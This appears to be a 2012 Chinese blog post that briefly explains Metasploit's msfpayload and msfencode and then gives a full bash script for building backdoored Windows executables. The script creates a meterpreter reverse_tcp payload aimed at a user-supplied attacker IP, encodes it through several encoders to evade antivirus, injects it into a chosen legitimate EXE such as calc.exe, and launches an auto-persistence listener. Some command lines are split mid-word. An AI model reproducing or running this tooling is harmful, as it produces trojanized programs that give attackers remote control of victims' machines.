Msfpayload script : msfpayload Generator Script

2012-10-04 02:12:40 By admin

msfpayload 这个工具主要的功能就是将Metasploit 中的payloads(工具载荷）包装成一个可执行的文件，或者包装成指定的类型，msfpayload可以将包装好的数据输出，默认的输出设备为终端（就是那个打开的黑窗口）。直接输出到终端上有可能输出乱码，其实这不是乱码，当数据被输出到终端是使用的是二进制，而终端显示的是二进制对应字符
msfencode
这个工具主要的功能是对输入过来的数据进行编码（如果不指定编码方式则使用默认编码方式）。 然后将编码后的数据包装成一个指定的课执行的文件，或者将数据附着到一个指定的已存在的文件上。输出数据的方式和msfpayload一样，如果没有指定输出方式则默认输出到屏幕，msfencode可以使用重定向符（之前已经说过了）来输出数据到文件，或者使用自带的-o
参数来指定文件。msfencode编码的数据来源可以是管道传送过来的数据也可以是使用-i
参数指定的数据文件
一个自动化的脚本：

```
#!/bin/bash
#
# This file should be in the metasploit framework folder, i.e.
# For Backtrack 5 R1 ~ /pentest/exploits/framework/backdoor.sh
# got root?

echo "############################################"
echo "##BackDoor EXE Injection script by ioxx###"
echo "############################################"


if [ "$(id -u)" != "0" ]; then
   echo ">   This script must be run as root" 1>  &2
   exit 1
fi

ping localhost -c 5 >  nul
echo "------------------------"
echo "IoXx Backdoor  kit"
echo -e "1.>  Generate BackDoor"
echo -e "2.>  Make Infected EXE"
echo "------------------------"
echo -e "What method:>   \c"

read Answers

if [ "$Answers" = "1" ]; then

echo -e "*Your Remote IP:>   \c"
read MyIP
echo -e "Port Listener:>   \c"
read MyPort
```

```
echo -e "*How many times to encode 1-30:>  \c"
read MyENC
echo "Path /root/Desktop/backdoor.exe"
echo -e "* path of exe for injection:>  \c"
read pathA
./msfpayload windows/meterpreter/reverse_tcp LHOST=$MyIP LPORT=$MyPort R | ./msfencode -v -e
 x86/shikata_ga_nai -c $MyENC R | ./msfencode -v -e x86/jmp_call_additive -c $MyENC R | ./msfenco
de -v -e x86/call4_dword_xor -c $MyENC  R | ./msfencode -v -e x86/call4_dword_xor -c $MyENC R -t e
xe -x >  $pathA
#./msfpayload windows/meterpreter/reverse_tcp LHOST=$IP LPORT=$port EXITFUNC=thread R | ./m
sfencode -e x86/shikata_ga_nai -c $enumber -t
echo -e "*Do you want to start Msfconsole:?>  \c"
read msff

if [ "$msff" = "yes" ]; then
./msfconsole -r scripts/meterpreter/autopersist.rc
else
  exit 1
fi

else

if [ "$Answers" = "2" ]; then
echo -e "*Your Remote IP:>  \c"
read MyIP
echo -e "Port Listener:>  \c"
read MyPort
echo -e "*How many times to encode 1-20:>  \c"
read MyENC
echo "Path /root/Desktop/calc.exe"
echo -e "* path of exe for injection:>  \c"
read pathA
echo "Path /root/Desktop/calc2.exe"
echo -e "* Output path of Infected exe:>  \c"
read pathB
./msfpayload windows/meterpreter/reverse_tcp LHOST=$MyIP LPORT=$MyPort R | ./msfencode -e x
86/shikata_ga_nai -c $MyENC -t exe -x $pathA -o $pathB
echo -e "Do you want to start Msfconsole:?>  \c"
read msff1

if [ "$msff1" = "yes" ]; then
./msfconsole -r scripts/meterpreter/autopersist.rc
else
  exit 1
fi


fi
fi
```